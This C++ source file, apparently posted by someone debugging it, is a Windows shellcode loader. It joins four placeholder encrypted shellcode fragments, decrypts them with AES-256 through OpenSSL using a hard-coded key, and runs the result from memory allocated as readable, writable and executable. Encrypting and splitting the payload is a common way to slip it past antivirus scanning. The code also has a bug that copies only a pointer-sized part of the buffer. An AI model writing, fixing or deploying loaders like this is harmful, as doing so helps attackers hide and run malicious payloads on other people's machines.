#include "pch.h"
#include <iostream>
#include <stdio.h>
#include <openssl/conf.h>
#include <openssl/evp.h>
#include <openssl/err.h>
#include <Windows.h>
#include <string.h>
#include <time.h>

#define SHELLCODE_BUFFER 250000


void executeShellcode(unsigned char* shellcode) {
int(*ret)() = (int(*)()) shellcode;
ret();
}

void executeAllocShellcode(unsigned char* shellcode) {
void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof(shellcode));
((void(*)())exec)();
}

void handleErrors(void) {
ERR_print_errors_fp(stderr);
abort();
}

int decrypt(unsigned char* encrypted, int encryptedLen, unsigned char* key, unsigned char* iv, unsigned char* decrypted) {
EVP_CIPHER_CTX* cipherText;

int len, decryptedLen;

if (!(cipherText = EVP_CIPHER_CTX_new()))
handleErrors();

//Initialize decryption operation
EVP_DecryptInit_ex(cipherText, EVP_aes_256_cbc(), NULL, key, iv);

//Decrypt shellcode
EVP_DecryptUpdate(cipherText, decrypted, &len, encrypted, encryptedLen);

//Length of encrypted shellcode
decryptedLen = len;

//Finalize encryption
EVP_DecryptFinal_ex(cipherText, decrypted + len, &len);

//Decrypted shellcode length
decryptedLen += len;

//CleanUp
EVP_CIPHER_CTX_free(cipherText);

return decryptedLen;
}

int main() {
int decryptedLen, encryptedLen; //Length of shellcode

//128 bit AES initialization vector
unsigned char iv[] = "K7yT3567Abdlhfru";

//256 bit AES key
unsigned char key[] = "Yg2537shsGSTDk2820237ak72bd41453";

       unsigned char encrypted1[] = "Shellcode part1....";
       unsigned char encrypted2[] = "Shellcode part2....";
       unsigned char encrypted3[] = "Shellcode part3....";
       unsigned char encrypted4[] = "Shellcode part4....";

       // Concat Shellcode on Runtime
unsigned char encrypted[sizeof(encrypted1) + sizeof(encrypted2) + sizeof(encrypted3) + sizeof(encrypted4)];
memcpy(encrypted, encrypted1, sizeof(encrypted1));
memcpy(encrypted + sizeof(encrypted1), encrypted2, sizeof(encrypted2));
memcpy(encrypted + sizeof(encrypted1) + sizeof(encrypted2), encrypted3, sizeof(encrypted3));
memcpy(encrypted + sizeof(encrypted1) + sizeof(encrypted2) + sizeof(encrypted3), encrypted4, sizeof(encrypted4));
encryptedLen = sizeof(encrypted);

unsigned char decrypted [sizeof encrypted]; //Buffer for decrypted shellcode

//Initialize Openssl
ERR_load_crypto_strings();
OpenSSL_add_all_algorithms();
OPENSSL_config(NULL);

//Decrypt shellcode
decryptedLen = decrypt(encrypted, encryptedLen, key, iv, decrypted);

//CleanUp
EVP_cleanup();
ERR_free_strings();

printf("Decrypted: %s", &decrypted);

//Execute shellcode (Tried Both) -> Same error.
//executeShellcode(decrypted);
executeAllocShellcode(decrypted);
}